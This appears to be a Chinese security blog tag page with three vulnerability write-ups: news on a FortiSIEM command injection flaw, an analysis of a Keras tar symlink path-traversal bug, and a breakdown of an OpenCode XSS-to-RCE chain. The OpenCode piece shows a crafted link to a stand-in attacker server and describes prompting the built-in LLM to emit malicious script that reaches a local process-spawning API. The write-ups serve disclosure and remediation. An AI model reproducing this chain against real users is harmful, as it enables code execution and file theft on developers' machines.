标签 漏洞修复 下的文章

近期出现的高危漏洞中,就包括飞塔(Fortinet)FortiSIEM 安全信息与事件管理设备存在的严重漏洞,攻击者可通过远程利用该漏洞完全攻陷设备系统,进而侵入企业的内部网络。
该漏洞编号为CVE-2025-64155,网络安全公司 Defused 于本周四发布报告称,在飞塔发布安全预警后不久,其蜜罐系统就监测到了针对该漏洞的在野活跃利用尝试
芬兰网络安全公司 Defused 的首席执行官兼创始人西莫・科霍宁表示,此次攻击尝试中,来自中国境内 IP 地址的攻击行为异常活跃,且在该漏洞细节公布后,一系列定向攻击几乎立即展开。
飞塔于 1 月 13 日公开了该漏洞的相关细节,发布安全公告披露这一操作系统命令注入漏洞,并推出软件更新包进行修复。公告指出,除 FortiSIEM 云版本及 7.5 版本外,所有 FortiSIEM 版本均存在 CVE-2025-64155 漏洞,该漏洞可能导致未通过身份验证的攻击者,通过构造恶意 TCP 请求执行未授权的代码或命令。
飞塔已发布 7.4.1、7.3.5、7.2.7 和 7.1.9 版本的修复程序以解决该问题。而 7.0.x 及 6.7.x 系列版本虽同样存在该漏洞,但飞塔表示不会为这些版本推出修复补丁,同时建议相关用户将系统迁移至仍受官方支持的已修复版本
飞塔还指出,用户也可通过限制对 7900 端口上 phMonitor 服务的访问,实现对该漏洞的风险缓解。
该漏洞由网络安全公司 Horizon3 发现,该公司已于 2025 年 8 月 14 日将漏洞信息上报给飞塔。Horizon3 在技术深度分析中称,其向飞塔上报的漏洞包含两个:一是未授权的参数注入漏洞,该漏洞可导致任意文件写入,让攻击者以管理员权限执行远程代码;二是文件覆盖提权漏洞,攻击者可通过该漏洞获取系统最高 root 权限。为配合厂商修复,Horizon3 在漏洞上报后的 153 天里未对外透露任何相关信息,直至飞塔 1 月 13 日发布安全更新后才公开细节。
Horizon3 在协同漏洞披露声明中表示,该漏洞是其在 2025 年 8 月飞塔发布 FortiSIEM 设备另一款命令注入漏洞(编号CVE-2025-25256)的安全公告后,后续发现的新漏洞。
该公司称,CVE-2025-64155 漏洞存在于phMonitor 服务中,该服务是 FortiSIEM 设备不同功能模块的通信核心 —— 负责将数据上传至管理端的远程采集器,正是通过该服务基于 TCP/IP 传输自定义 API 消息实现通信。
同样在 1 月 13 日,Horizon3 还在 GitHub 平台上,发布了该漏洞的概念验证漏洞利用代码
网络安全公司 Arctic Wolf 指出,Horizon3 发布的概念验证代码展示了攻击者如何将 CVE-2025-64155 漏洞武器化:通过向 curl 等工具注入命令,实现对设备的完全系统接管。未通过身份验证的攻击者可借助该方式,将反向 shell 载荷写入通常仅管理员有权限操作的文件,随后进一步提权获取系统 root 权限。
为防范此类漏洞被利用,飞塔建议企业将 FortiSIEM 设备部署在受保护的网络网段内,通过防火墙进行安全防护,避免设备直接暴露在公共互联网中。
Arctic Wolf 表示:“将该服务与公共互联网隔离,可有效缩小设备的攻击面,防止攻击者利用 CVE-2025-64155 这类高危漏洞实现初始入侵。”

攻击目标:边缘网络设备

飞塔此次发布漏洞预警的背景,是业界持续发出的安全警示:各类攻击者 —— 包括国家级黑客组织、勒索软件团伙及其他网络犯罪分子,正将边缘网络设备列为主要攻击目标。
网络安全公司 VulnChec 于本周三发布 2025 年已知被利用漏洞分析报告,发现防火墙、VPN 设备、代理服务器等网络边缘设备是被攻击者利用最多的目标,其次为内容管理系统和开源软件。
通常在漏洞被分配 CVE 编号、厂商发布公开安全预警后,针对该漏洞的利用行为就会迅速出现。
VulnChec 指出,2025 年有近 30% 的已知被利用漏洞,在CVE 编号发布当天或之前就已被攻击者利用。这一数据凸显了攻击者的行动速度,他们往往能在漏洞公开披露或获得 CVE 编号前,就完成漏洞的利用部署。
攻击者针对新漏洞的攻击行动向来十分迅速,但企业的漏洞修复工作却常常滞后,甚至从未开展。
本月早些时候,专注于对抗恶意软件、僵尸网络和网络欺诈的非营利安全组织 Shadowserver 基金会发出警示:其扫描发现,仍有超过 1 万台飞塔防火墙设备存在CVE-2020-12812 漏洞,而该漏洞的修复补丁,飞塔早在 5 年半前就已发布。
该基金会发布报告前,飞塔首席信息安全官卡尔・温莎已于 2025 年 12 月 24 日在博客中披露,飞塔监测到该漏洞在特定配置环境下,近期已出现实际在野利用行为
在特定条件下,攻击者可利用该漏洞强制飞塔 FortiGate 防火墙启用特定身份验证选项,进而绕过双因素认证机制,实现对管理员账户和 VPN 账户的未授权访问。
温莎表示:“这一特殊的身份验证漏洞,根源在于 FortiGate 防火墙默认对用户名进行大小写敏感校验,而企业的 LDAP 目录服务通常不开启该校验规则。”
飞塔已于 2020 年 7 月在 FG-IR-19-283 安全公告中,发布了 FortiOS 6.0.10、6.2.4 和 6.4.1 版本的修复程序,可有效防范该漏洞攻击。但正如 Shadowserver 基金会的扫描结果所示,仍有大量企业未对存在漏洞的设备进行补丁修复。
针对尚未安装修复更新的企业,温莎详细列出了防护措施,可通过相关配置防止防火墙故障切换至错误配置的 LDAP 组设置,从而阻断攻击者对该漏洞的利用。
至于这些迟迟未安装补丁的企业,是否会至少采取上述风险缓解措施,以及具体何时实施,目前仍未可知。

Keras 价值 750$的目录穿越漏洞 漏洞描述 Keras 的 keras.utils.get_file() 函数在解压缩下载的 tar 归档文件时存在目录遍历漏洞。尽管该函数实现了 filter_safe_paths() 来过滤不安全的路径,但该过滤函数存在逻辑缺陷,允许创建指向父目录 (..) 的符号链接。攻击者可构造恶意归档文件,在解压后创建指向预期目录之外的符号链接,从而可能访问或修改外部文件。

Keras 是啥 https://github.com/keras-team/keras

Keras 3 是一个多后端深度学习框架,支持 JAX、TensorFlow、PyTorch 和 OpenVINO(仅用于推理)。轻松构建和训练计算机视觉、自然语言处理、音频处理、时间序列预测、推荐系统等模型。 加速模型开发 :借助 Kera 的高级用户体验和如 PyTorch 或 JAX 等易于调试的运行时,更快交付深度学习解决方案。
最先进的性能 :通过选择最适合你模型架构的后端(通常是 JAX!),相比其他框架,实现 20%到 350%的加速。这里是基准测试。
数据中心级培训 :自信地从笔记本电脑扩展到大型 GPU 或 TPU 集群。
加入近三百万开发者行列,从初创企业到全球企业,共同利用 Keras 3 的力量。
环境搭建 测试环境

组件
版本
操作系统
Linux (Docker 容器)
Python
3.11.14
Keras
3.11.2

Docker 运行环境

源码获取

漏洞复现 PoC 代码

复现结果

然后我们来验证 两种方法,我们验证和执行一起

结果

验证成功 或者我们直接通过符号链接访问外部文件

漏洞分析 数据流分析

代码分析 文件位置: keras/src/utils/file_utils.py

关键函数

代码结构分析

函数
作用
resolve_path()
规范化路径,对已存在的符号链接会解析
is_path_in_dir()
检查路径是否在 base_dir 内
is_link_in_dir()
检查符号链接目标是否在安全范围内
filter_safe_paths()
过滤不安全的文件,yield 安全的 TarInfo

2. filter_safe_paths() 的执行流程

我们看这个流程

filter_safe_paths() 先检查路径名,后检查符号链接 符号链接的路径名 subdir/link_to_parent 是安全的 符号链接的指向目标 .. 应该被 is_link_in_dir() 检查 elif 分支永远不会执行,目标未被检查

3. resolve_path() 的关键行为 关键问题就是 os.path.realpath() 对不存在的路径不会解析符号链接

打了个解压差异 检查时路径不存在,resolve_path() 返回路径本身 "/app/subdir/link_to_parent".startswith("/app") = True 检查通过,符号链接被创建

4. extractall() 执行解压 代码

分析 符号链接 link_to_parent 被成功创建 指向父目录 ..,可以访问解压目录外的文件

目录穿越原理 梳理后就是这样

所以 POC 是这样的

符号链接的路径名 subdir/link_to_parent 在解压目录 /app/cache_123/ 内 ✓ 符号链接的指向目标 .. 解析后是 /app/ 任何遍历解压目录的代码都可能通过 link_to_parent 访问 /app/ 下的文件

漏洞修复 官方修复方案 Keras 3.13.0 修复内容: 1 调整检查顺序: 符号链接检查优先于普通文件检查 2 添加 filter 参数: 在 Python 3.12-3.13 版本中使用 filter="data" 3 重命名函数: filter_safe_pathsfilter_safe_tarinfos,逻辑改进 **Keras 3.11.2 - `keras/src/utils/file_utils.py:

**Keras 3.13.0 - keras/src/utils/file_utils.py:

如果理解了漏洞原理,就能明白为什么这样就能够修复我们的漏洞呢? 我们再次来看看这个流程

看完这个流程,就很清楚了 添加 filter="data" 支持 - `keras/src/utils/file_utils.py:

参考资料 1Python tarfile 安全警告 2CWE-22: Improper Limitation of a Pathname to a Restricted Directory 3Keras GitHub Repository 4Keras Release Notes 5Google Security Research: Tarfile Exploitation 6报告

免责声明 本报告仅供安全研究和教育目的使用。所有测试均在授权环境中进行。 请勿将本文提供的信息用于任何非法目的 本文所述漏洞利用方法仅用于帮助理解和修复安全漏洞 使用本文信息造成的任何后果,由使用者自行承担


漏洞概述

CVE-2026-22813 是OpenCode开发环境中的一个高危安全漏洞,该漏洞通过巧妙的攻击链组合,允许远程攻击者在用户本地计算机上执行任意代码(RCE)。该漏洞的影响评分为9.4,影响OpenCode 1.1.10之前的所有版本。

漏洞背景

OpenCode是一个流行的本地开发工具,默认在localhost:4096端口运行HTTP服务,提供网页UI和API接口。该工具集成了AI聊天功能,允许开发者通过自然语言交互进行编程。

三重攻击链解析

第一环:XSS漏洞(初始立足点)

漏洞位置:OpenCode网页UI的Markdown渲染器

根本原因

1 HTML净化失效:用于渲染LLM响应的DOMPurify库未正确启用净化功能

2 缺乏CSP防护:网页界面没有实施内容安全策略

3 信任边界混淆:将不可信的LLM输出直接插入DOM而不进行转义

攻击影响:攻击者通过精心设计的提示词,可以让LLM生成包含恶意JavaScript代码的响应,这些代码会在用户浏览器中执行。

技术细节

Plain Text

复制代码
// 示例:恶意LLM响应绕过净化
const maliciousResponse = {
content: 'Here is your code:<script>evil()</script>'
};
// DOMPurify未启用,脚本直接执行

第二环:服务器URL覆盖滥用(攻击放大器)

功能机制:OpenCode网页UI支持通过URL参数动态指定后端服务器地址:

Plain Text

复制代码
// packages/app/src/app.tsx中的关键代码
const defaultServerUrl = (() => {
const param = new URLSearchParams(document.location.search).get("url");
if (param) return param; // 致命缺陷:无验证、无限制
return window.location.origin;
})();

攻击利用
攻击者构造恶意链接,诱骗用户点击:

http://localhost:4096/Lw/session/ses_攻击者会话ID?url=https://恶意服务器.example

点击后的攻击流程

1 用户浏览器访问本地OpenCode页面(localhost:4096

2 网页UI读取?url=参数,连接至攻击者控制的服务器

3从攻击者服务器加载预先准备好的恶意会话内容

4恶意内容触发第一环的XSS漏洞

关键突破:此环节将需要复杂前置条件的XSS攻击转化为一键触发的远程攻击,攻击成功率从"可能"提升至"必然"。

第三环:本地API滥用(最终杀伤)

高危API端点http://localhost:4096/pty/

API功能:该端点允许在本地系统上生成任意进程,为开发功能提供终端访问。

同源策略绕过
由于恶意JavaScript代码在localhost:4096源下执行,它可以无限制地访问同源的所有API:

最终实现:攻击者可以:

1下载并执行远程恶意脚本

2安装后门程序

3窃取敏感文件

4横向移动至内网其他系统

漏洞复现

image.png



提供恶意聊天会话的一个简单方法是在真实的OpenCode实例前设置mitmproxy。这是必要的,因为OpenCode的网页界面必须加载大量资源,才能加载并显示聊天会话。

1.安装有漏洞的版本

2.创建恶意会话文件 evil_session.json



这个载荷会尝试在受害者机器上创建文件 /tmp/pwned_success 作为攻击成功的证明。

启动简易HTTP服务器

3.进行攻击

1用插件在反向代理模式下启动 mitmproxy

2 启动服务

3 构造恶意URL

在同一台运行OpenCode的机器上,访问以下URL:

原理?url= 参数滥用让本地UI加载远程恶意会话。

4 确认文件是在目录中创建/tmp/



漏洞修复



image.png



移除内嵌JavaScript

image.png



添加了 DOMPurify 依赖

image.png



在图像预览组件中添加了安全处理

防止了XSS攻击

移除移除动态JavaScript执行和自定义URL参数

image.png



改了306行代码,近乎重写了该文件

移除自定义URL参数

image.png



通过props控制,不再从window对象读取

结论

CVE-2026-22813是一个典型的"功能滥用→权限提升→系统控制"三重攻击链案例。它暴露出:

1 深度防御的缺失:缺乏输入验证、输出编码、权限控制的多层防护

2 信任模型的缺陷:过度信任客户端输入和本地网络环境

3 安全开发生命周期的不足:危险功能上线前缺乏威胁建模